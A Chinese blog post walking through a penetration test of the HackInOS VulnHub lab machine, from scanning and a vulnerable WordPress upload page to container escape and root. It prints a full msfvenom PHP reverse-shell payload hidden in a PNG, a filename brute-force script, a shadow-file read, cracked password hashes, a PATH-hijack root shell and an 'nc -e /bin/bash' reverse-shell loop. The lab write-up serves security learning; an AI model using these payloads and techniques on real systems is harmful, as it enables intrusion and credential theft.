渗透笔记之HackInOS

背景

HackInOS是来自VulnHub的渗透测试靶机,下载地址为https://www.vulnhub.com/entry/hackinos-1,295/#download ,下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了我对其进行渗透的全过程,开始时间为2019年5月17日。

准备环境

首先下载靶机镜像,得到文件HackInOS.ova,大小为3.02G。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一虚拟网络中还有一台IP地址是192.168.1.5的Kali Linux虚拟机(以下简称Kali)作为攻击者。

导入完成后开启HackInOS虚拟机,看到如下图所示的登录界面,说明环境准备完成。

在Kali中用Nmap扫描192.168.1.0/24网段,确定HackInOS的IP地址为192.168.1.6。由于是在模拟攻击,所以假装看不到上图所示的登录界面,不知道用户名是什么,也不能以Guest的身份登录。

信息收集

端口扫描

使用Nmap对目标IP 192.168.1.6进行TCP端口扫描,命令和输出为:

root@kali:~# nmap -Pn -n -sV 192.168.1.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 10:26 EDT
Nmap scan report for 192.168.1.6
Host is up (0.00013s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds

看到开放了22(SSH)和8000(HTTP)端口。

使用Nmap对目标IP 192.168.1.6进行UDP端口扫描,命令和输出为:

root@kali:~# nmap -Pn -n -sU 192.168.1.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 10:29 EDT
Nmap scan report for 192.168.1.6
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
631/udp  open|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1093.07 seconds

没有什么很值得关注的东西。

Web信息收集

在Firefox访问http://192.168.1.6:8000/,看到如下图所示的页面,发现排版很混乱,显然是静态资源没有加载成功。

查看请求记录发现有许多发往localhost:8000的请求,于是在Firefox扩展Header Editor中设置一条规则,将发往localhost:8000的请求都重定向到192.168.1.6:8000,设置完成后再访问http://192.168.1.6:8000/,页面加载正常,如下图所示。

由Firefox扩展Wappalyzer,得知目标网站使用的CMS是WordPress 5.0.3。所以使用wpscan对其进行扫描,命令和输出如下。

root@kali:~# wpscan --url http://192.168.1.6:8000/ -e at -e ap -e u  --wp-content-dir wp-content
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.4.3
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.1.6:8000/
[+] Started: Fri May 17 22:39:31 2019

Interesting Finding(s):

[+] http://192.168.1.6:8000/
 | Interesting Entries:
 |  - Server: Apache/2.4.25 (Debian)
 |  - X-Powered-By: PHP/7.2.15
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.1.6:8000/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] http://192.168.1.6:8000/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.1.6:8000/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.0.3 identified (Insecure, released on 2019-01-09).
 | Detected By: Emoji Settings (Passive Detection)
 |  - http://192.168.1.6:8000/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.1.6:8000/, Match: 'WordPress 5.0.3'
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
 |     Fixed in: 5.04
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9230
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
 |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
 |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
 |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

[i] The main theme could not be detected.

[+] Enumerating Users
 Brute Forcing Author IDs - Time: 00:00:00 <================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] handsome_container
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Finished: Fri May 17 22:39:34 2019
[+] Requests Done: 2
[+] Cached Requests: 41
[+] Data Sent: 520 B
[+] Data Received: 4.954 KB
[+] Memory used: 4.07 MB
[+] Elapsed time: 00:00:02

从输出信息中看到robots.txt文件存在,访问该文件看到如下内容:

User-agent:*
Disallow:/upload.php
Disallow:/uploads

其中/upload.php很可疑,尝试访问它,看到如下图所示的页面,是一个没有权限验证的上传。

文件上传漏洞利用

首先查看http://192.168.1.6:8000/upload.php页面源码,看到一行值得关注的注释:

<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->

访问注释里的URL:https://github.com/fatihhcelik/Vulnerable-Machine—Hint,找到了upload.php的源码,内容如下:

<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b> 
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $rand_number = rand(1,100);
    $target_dir = "uploads/";
    $target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
    $file_name = $target_dir . basename($_FILES["file"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
    $type = $_FILES["file"]["type"];
    $check = getimagesize($_FILES["file"]["tmp_name"]);
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
        $uploadOk = 1;
    }else{
        $uploadOk = 0;
        echo ":)";
    } 
  if($uploadOk == 1){
      move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
      echo "File uploaded /uploads/?";
  }
}
?>
</body>
</html>

这下可好,连源码都有了。阅读源码可知只允许上传PNG或GIF格式的图片,校验方式是校验文件内容(实际校验的是文件开头几个标志文件类型的字节,PNG格式为0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式为GIF98,详情见参考文献1),没有校验文件后缀。通过校验的文件会保存在uploads目录中,有点麻烦的是文件名是一个随机生成的md5值,而后缀保持上传文件的后缀不变。

先生成一个Meterpreter后门:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.5 lport=4444 -f raw

生成的Payload如下:

/*<?php /**/ error_reporting(0); $ip = '192.168.1.5'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

把生成的Payload保存到文件backdoor.php中,然后随便找一张png图片crown.png,把backdoor.php附件到crown.png的后面。

cat backdoor.php >> crown.png
mv crown.png crown.php

这样便制作好了一个含有后门的图片。

然后打开Metasploit,进入exploit/multi/handler模块,设置Payload和监听主机、监听端口等参数。

root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set lhost 192.168.1.5
lhost => 192.168.1.5
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.5:4444 

接着上传含有后门的图片,如下图所示。

上传成功后我们并不知道文件名,需要猜解。写一个简单的Python脚本如下:

import hashlib
import requests
for i in range(101):
    file_name = hashlib.md5('crown.php'+str(i)).hexdigest()
    r = requests.get('http://192.168.1.6:8000/uploads/{}.php'.format(file_name))

运行这个脚本,可以在Metasploit中看到反弹连接成功建立:

至此,我们获得了一个Meterpreter shell。运行getuid命令看看权限:

meterpreter > getuid
Server username: www-data (33)

果然只是一个很低权限的用户,需要提权。

提权

在Web目录中找到Wordpress的配置文件wp-config.php,看到了数据库连接信息:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'wordpress');

/** MySQL hostname */
define('DB_HOST', 'db:3306');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

用的是Mysql,而数据库主机是“db”。

还是先看一看系统信息:

meterpreter > sysinfo
Computer    : 1afdd1f6b82c
OS          : Linux 1afdd1f6b82c 4.15.0-50-generic #54~16.04.1-Ubuntu SMP Wed May 8 15:55:19 UTC 2019 x86_64
Meterpreter : php/linux

主机名为“1afdd1f6b82c”,看着像是在docker容器里,进一步确认;

meterpreter > run post/linux/gather/checkcontainer 
[+] This appears to be a 'Docker' container

还真在docker里。就算是docker里也先提权吧。

先上传一个Linux提权信息收集脚本linuxprivchecker.py:

meterpreter > upload /root/Downloads/linuxprivchecker.py /tmp/linuxprivchecker.py
[*] uploading  : /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py
[*] Uploaded -1.00 B of 24.71 KiB (-0.0%): /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py
[*] uploaded   : /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py

然后运行这个脚本:

meterpreter > chmod 744 /tmp/linuxprivchecker.py
meterpreter > shell
Process 141 created.
Channel 10 created.
python /tmp/linuxprivchecker.py

这个脚本的输出很多,仔细阅读其输出,注意到tail被设置了SUID:

直接用tail读取shadow文件:

tail -c1G /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::

成功拿到root用户密码的hash值。先把hash值保存到文件root.hash中,然后用hashcat破解它:

root@kali:~# hashcat -w 3 -a 0 -m 1800 -o root.out root.hash /usr/share/metasploit-framework/data/wordlists/common_roots.txt --force

使用的字典是Metasploit自带的通用字典。很走运,一小会就破解成功了:

查看破解结果:

root@kali:~# cat root.out 
$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:john

密码是john。如果我使用“John the ripper”来破解hash,这个结果就很好玩了。

但直接输入su root会提示“must be run from a terminal”,所以先用Python伪造一个终端(详情见参考文献2):

python -c "import pty;pty.spawn('/bin/bash');"

然后就可以切换为root用户了。

探索容器

按照惯例,查看/root中的flag,发现是一句提示:

cat /root/flag
Life consists of details..

按这句提示的意思,应该注意细节。所以查看/root中的隐藏文件:

ls -a
.   .bash_history  .mysql_history  .port     .wget-hsts
..  .bashrc    .nano       .profile  flag

仔细查看每个文件的内容,最后发现,唯一值得注意的是.port文件,内容为:

cat .port
Listen to your friends..
7*

这是什么意思呢?Google “Listen to your friends..”发现是一首歌,第七句歌词为:

I bet you only listen to your friends

想了好久也没想出这和我们正在进行的活动有什么关系。

简单总结一下。我们拿到了一个root权限,但是是容器里的root,并不是目标系统真正的root权限。所以下一步自然就是逃逸了。然而我尝试了很多方法都没能成功,一时陷入到僵局中。

回过头来看看有什么遗漏。对了!还有个知道用户名和密码的数据库没有尝试。

先登录数据库看看:

mysql -h db -u wordpress -p wordpress

列出所有的表:

MySQL [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| host_ssh_cred         |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
13 rows in set (0.00 sec)

意外地看到了一个名为“host_ssh_cred”的表。查看其内容:

MySQL [wordpress]> select * from host_ssh_cred;
select * from host_ssh_cred;
+-------------------+----------------------------------+
| id                | pw                               |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.02 sec)

看到了一对用户名和密码,密码应该是某种hash值,数了下长度是32字符,推测是md5值,试了一下果然是,且明文为“123456”,真是个比“john”还弱的密码。

用这个用户名和密码登录目标系统的22端口,登录成功:

root@kali:~# ssh hummingbirdscyber@192.168.1.6
hummingbirdscyber@192.168.1.6's password: 
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-50-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

119 packages can be updated.
0 updates are security updates.

New release '18.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue May 21 16:56:29 2019 from 192.168.1.5
hummingbirdscyber@vulnvm:~$ 

但显然“hummingbirdscyber”也是一个低权限账户,得再次提权。

再次提权

先看看设置了SUID的可执行文件:

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

看到了十分奇怪的“/home/hummingbirdscyber/Desktop/a.out”。

尝试运行该程序,看到输出为“root”:

看来提权的希望就在于此了。具体要如何做呢?两个思路:

  • 逆向a.out,搞清楚程序具体干了什么
  • 寻找a.out的源文件,搞清楚程序具体干了什么

对这两个思路都进行了尝试,均没有成功。第一个思路失败是因为我不会逆向,第二个思路失败是因为确实不存在源文件。一时又陷入了僵局。

怎么办呢?注意到正常运行该程序输出的是“root”,见上一张图。而在调试时,程序输出的是“hummingbirdscyber”,如下图。这是因为调试程序时SUID没有生效。

这一行为让人联想到命令whoami,进一步猜测a.out内部调用了whoami,于是可以尝试一下命令劫持。

首先写一个自己的whoami命令,内容为运行一个shell:

#include <stdlib.h>
int main(void) {
    system("/bin/bash -p");
    return 0;
}

然后编译它得到可执行文件whoami:

hummingbirdscyber@vulnvm:~$ vi whoami.c 
hummingbirdscyber@vulnvm:~$ gcc -o whoami whoami.c
hummingbirdscyber@vulnvm:~$ chmod +x whoami

接着查看搜索路径:

hummingbirdscyber@vulnvm:~$ echo $PATH
/home/hummingbirdscyber/bin:/home/hummingbirdscyber/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

意外地看到了:

/home/hummingbirdscyber/bin

简直就是为命令劫持大开方便之门。创建bin目录,将我们自己的whoami拷贝进去:

hummingbirdscyber@vulnvm:~$ mkdir bin
hummingbirdscyber@vulnvm:~$ mv whoami bin/
hummingbirdscyber@vulnvm:~$ which whoami
/home/hummingbirdscyber/bin/whoami
hummingbirdscyber@vulnvm:~$

完成命令劫持后再运行a.out,顺利拿到有root权限的shell:

终于看到了真正的flag,是一只蜂鸟的字符画:

后续

利用Docker提权

在hummingbirdscyber权限中输入id可以看到hummingbirdscyber用户属于docker组。

hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)

其实有docker权限就能读到/root中的文件了,利用docker run的-v参数,将/root挂载到容器中。

hummingbirdscyber@vulnvm:~$ docker run -it -v /root:/root ubuntu:latest /bin/bash
root@058d84179cfa:/# cat /root/flag 
Congratulations!

Listen to your friends

查看root用户的进程,看到了一个有趣的进程:

root      3396  0.0  0.4  18376  2256 ?        Ss   17:17   0:00 /bin/bash /etc/init.d/port.sh

root运行了/etc/init.d/port.sh,查看这个脚本的内容:

hummingbirdscyber@vulnvm:~$ cat /etc/init.d/port.sh
#!/bin/bash

docker exec brave_edison /etc/init.d/port.sh
hummingbirdscyber@vulnvm:~$

看到实际是在运行容器brave_edison中的/etc/init.d/port.sh。而容器中这个脚本的内容是什么呢?

hummingbirdscyber@vulnvm:~$ docker exec -it brave_edison /bin/bash
root@252fa8cb1646:/# cat /etc/init.d/port.sh 
#!/bin/bash

while [ 1 ];do nc 1afdd1f6b82c 7777 -e /bin/bash;sleep 5;done

“1afdd1f6b82c”是我们最开始成功入侵的运行Web服务的容器主机名。看到这里,终于明白:

Listen to your friends..
7*

的含义了,“7*”是在暗示监听7777端口,在这个端口可以听到朋友的呼唤。

逆向a.out(2019年7月18日补充)

其实只要稍稍尝试一下,就会发现a.out的逆向十分简单,逆向过程和结果如下图所示。

把汇编代码翻译成C语言便是:

#include <unistd.h>
#include <stdlib.h>

int main(){
    setgid(0);
    setuid(0);
    system("whoami");
    return 0;
}

在源代码中看到了setgid和setuid,其作用如下:a.out 这个文件的 suid 标志位和所有者为 root 这两件事使得 a.out 运行时的 euid 时 0 (root);euid 为 0 使得 a.out 运行时程序的权限为 root 权限,但 ruid 仍为 1000 (hummingbirdscyber),这时若直接执行 whoami,输出依旧是 hummingbirdscyber;又因为 euid 为 0 有 root 权限,所有执行 setuid(0) 和 setgid(0) 才能成功,这两句成功执行后 ruid 从 1000 变成了 0,此时再执行 whoami,输出才是root。

参考文献

  1. 《利用文件头标志判断文件类型》
  2. 《将普通shell升级为全交互式终端 》

4 Replies to “渗透笔记之HackInOS”

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

6 − 4 =